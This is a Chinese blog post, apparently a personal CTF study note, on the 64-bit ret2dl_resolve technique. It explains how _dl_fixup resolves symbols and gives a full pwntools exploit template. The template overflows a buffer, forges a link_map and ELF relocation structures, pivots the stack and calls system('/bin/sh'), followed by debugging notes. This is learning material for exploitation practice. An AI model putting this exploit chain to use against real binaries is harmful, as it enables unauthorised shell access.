64位ret2dl_resolve

64位ret2dl_resolve一些个人理解

前言

在学32位ret2dl_resolve的时候就遗留了一个坑,64位该怎么搞。因为wiki上整个ELF的部分确实看上去很枯燥而且抓不住重点,就一直留到了现在,最近因为几个比赛题重新研究了一下。

概括

具体思路见参考文章,筛选的都是写的能让我看懂的了。对比模板发现思路都是一样的,这里只分析几个针对不同题目怎么改参数的问题以及坑点。

前置知识

通过阅读_dl_fixup源码可以总结出一般的函数重定向流程可简略如下:

  1. 通过struct link_map *l获得.dynsym、.dynstr、.rel.plt地址
  2. 通过reloc_arg+.rel.plt地址取得函数对应的Elf32_Rel指针,记作reloc
  3. 通过reloc->r_info和.dynsym地址取得函数对应的Elf32_Sym指针,记作sym
  4. 检查r_info最低位是否为7
  5. 检查(sym->st_other)&0x03是否为0
  6. 通过strtab+sym->st_name获得函数对应的字符串,进行查找,找到后赋值给rel_addr,最后调用这个函数。

利用方法:
让sym->st_value等于某个got上已经解析了的函数的那一表项,然后l->l_addr设置为system与这个函数的偏移值,此外,伪造link_map我们还需要伪造:位于link_map+0x70的DT_SYMTAB指针、link_map+0xf8的DT_JMPREL指针,另外strtab必须是个可读的地址,因此我们还需要伪造位于link_map+0x68的DT_STRTAB指针。之后就是伪造.dynamic中的DT_SYMTAB结构体和DT_JMPREL结构体以及函数所对应的Elf64_Rela结构体。为了方便,在构造的过程中一般将reloc_arg作为0来进行构造。

exp

这是我用的exp模板,大部分参数已经给出了注释。

#coding:utf-8
 
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn222')
libc = elf.libc
p = process('./pwn222')
gdb.attach(p,'b*0x04011AA') # main ret
# libc = ELF('./libc')


'''
typedef struct            
{
    Elf64_Word    st_name;        /* Symbol name (string tbl index) */
      unsigned char    st_info;    /* Symbol type and binding */        
      unsigned char st_other;        /* Symbol visibility */              
      Elf64_Section    st_shndx;    /* Section index */                  
      Elf64_Addr    st_value;        /* Symbol value */                   
      Elf64_Xword    st_size;        /* Symbol size */                    
}Elf64_Sym;
 
typedef struct           
{
  Elf64_Addr    r_offset;        /* Address */                         
  Elf64_Xword    r_info;            /* Relocation type and symbol index */
  Elf64_Sxword    r_addend;        /* Addend */                          
}Elf64_Rela;
 
typedef struct          
{
  Elf64_Sxword    d_tag;            /* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;        /* Integer value */
      Elf64_Addr d_ptr;            /* Address value */
    } d_un;
}Elf64_Dyn;
'''
 
universal_gadget1 = 0x00040122A # gadget_end
universal_gadget2 = 0x000401210 # gadget_front
 
Elf64_Sym_len = 0x18
Elf64_Rela_len = 0x18
write_addr = 0x404040 + 0x440  # write to where
log.info('bss: '+ hex(elf.bss()))

link_map_addr = write_addr+0x18
rbp = write_addr-8
pop_rdi_ret = 0x000401233
leave = 0x004011aa
main = 0x0401146
 
#fake_Elf64_Dyn_STR_addr = l+0x68  
#fake_Elf64_Dyn_SYM_addr = l+0x70  
#fake_Elf64_Dyn_JMPREL_addr = l+0xf8
 
l_addr = libc.sym['system'] - libc.sym['__libc_start_main']
#l->l_addr + sym->st_value
# value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
 
def fake_link_map_gen(link_map_addr,l_addr,st_value):
    fake_Elf64_Dyn_JMPREL_addr = link_map_addr + 0x18
    fake_Elf64_Dyn_SYM_addr = link_map_addr + 8
    fake_Elf64_Dyn_STR_addr = link_map_addr
    fake_Elf64_Dyn_JMPREL = p64(0) + p64(link_map_addr+0x28)
    fake_Elf64_Dyn_SYM = p64(0) + p64(st_value-8)
    fake_Elf64_rela = p64(link_map_addr - l_addr) + p64(7) + p64(0)
 
    fake_link_map = p64(l_addr)            #0x8
    fake_link_map += fake_Elf64_Dyn_SYM    #0x10
    fake_link_map += fake_Elf64_Dyn_JMPREL #0x10
    fake_link_map += fake_Elf64_rela       #0x18
    fake_link_map += b'\x00'*0x28
    fake_link_map += p64(fake_Elf64_Dyn_STR_addr) #link_map_addr + 0x68
    fake_link_map += p64(fake_Elf64_Dyn_SYM_addr) #link_map_addr + 0x70
    fake_link_map += b'/bin/sh\x00'.ljust(0x80,b'\x00')
    fake_link_map += p64(fake_Elf64_Dyn_JMPREL_addr)
    return fake_link_map

def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
  # 给出各个指针的假地址
  fake_Elf64_Dyn_STR_addr = p64(fake_link_map_addr)
  fake_Elf64_Dyn_SYM_addr = p64(fake_link_map_addr + 0x8)
  fake_Elf64_Dyn_JMPREL_addr = p64(fake_link_map_addr + 0x18)

  # 伪造相关结构体
  fake_Elf64_Dyn_SYM = flat(p64(0),p64(st_value-8))
  fake_Elf64_Dyn_JMPREL = flat(p64(0),p64(fake_link_map_addr+0x28)  )# JMPREL指向.rel.plt地址,放在fake_link_map_addr+0x28
  r_offset = fake_link_map_addr - l_addr
  log.info("r_offset :"+str(hex(r_offset)))
  fake_Elf64_rela = flat(p64(r_offset),p64(7),p64(0))

  # fake_link_map整体结构
  fake_link_map = flat(   # 0x0
    p64(l_addr),          # 0x8
    fake_Elf64_Dyn_SYM,   # 0x18
    fake_Elf64_Dyn_JMPREL,# 0x28
    fake_Elf64_rela,      # 0x40
    "\x00"*0x28,         # 0x68,下面开始放指针
    fake_Elf64_Dyn_STR_addr,  # STRTAB指针,0x70
    fake_Elf64_Dyn_SYM_addr,  # SYMTAB指针,0x78
    "/bin/sh\x00".ljust(0x80,"\x00"),
    fake_Elf64_Dyn_JMPREL_addr, # JMPREL指针
  )
  return fake_link_map

fake_link_map = fake_link_map_gen(link_map_addr,l_addr,elf.got['__libc_start_main'])
 
payload = b'a'*0x20
payload += p64(rbp)
payload += p64(universal_gadget1)
payload += p64(0)  #pop rbx
payload += p64(1)  #pop rbp
payload += p64(0)  #pop r12
payload += p64(write_addr) #pop r13
payload += p64(len(fake_link_map)+0x18)  #pop r14
payload += p64(elf.got['read'])           #pop r15
payload += p64(universal_gadget2)  #ret
payload += p64(0)*7
payload += p64(main)
payload = payload.ljust(0x200,b'\x00')
p.send(payload)

sleep(1)
 
fake_info = p64(0x00401026)        #jmp plt0+6
fake_info += p64(link_map_addr)
fake_info += p64(0)
fake_info += fake_link_map

p.send(fake_info)
sleep(1)
 
payload = b'b'*0x20+p64(rbp)+p64(pop_rdi_ret)+p64(link_map_addr+0x78)+p64(leave)
#stack pivot,进入函数重定向
payload = payload.ljust(0x200,b'\x00')
p.send(payload)
 
p.interactive()

翻译几个以后我可能看不懂的注释:

  1. universal_gadget指64位通用gadget。
  2. plt0+6就是plt里第一个jmp,指向了got2,符合我们的利用思路。

调试与分析

断点断在了main函数的ret,直接c到这个断点,开始单步到这里。
在这里插入图片描述
这里在参考2最后提到了这个坑点,就是sub后rsp一定要落在可写范围内。可以vmmap一下rsp,如果距离bss还有一点距离,则需要修改exp种的write_addr增加上差值,就可以让rsp落到bss上了。
继续单步到这里:
在这里插入图片描述
可以看到我们即将执行dl_fixup函数。参考1,2都提到了为了方便让reloc
= 0,这里可以证实这一点,我们si进入这个函数。
在这里插入图片描述
走到这儿我们能发现上面的cmp和这里的test,对应到之前分析的

4. 检查r_info最低位是否为7
5. 检查(sym->st_other)&0x03是否为0

第一个check似乎挺容易过的,第二个check在参考1中提到了
在这里插入图片描述
这道题这里我暂时还想不到怎么绕过,因为可用的got函数在libc的位置都在system的后面。通用的libc_start_main被当成全局变量存进来了,在参考1的例题中并没有这问题,如果为了理解还请完全按照参考1食用。这也算是一个新的坑点把。
至于如何应对这个问题,是否是可解决的,暂时留坑了,因为本菜鸡才学到堆,觉得这里已经可以知足了。
问了星盟的一位大师傅,得到了答复“只要找到一个固定的glibc的指针应该就好”。确实这样子就需要动调看能不能让(sym+5)&0x03 != 0 了,通用性也大大降低,不过确实是一种思路。

后记

研究一些自认为超越当前水平的问题挺让人喜悦的,这个思路大概研究了两星期,有亿点感慨,希望以后自己也能保持这种钻研的心。

参考链接

  1. https://bbs.pediy.com/thread-253833.htm
  2. https://zhuanlan.zhihu.com/p/148073987
  3. https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值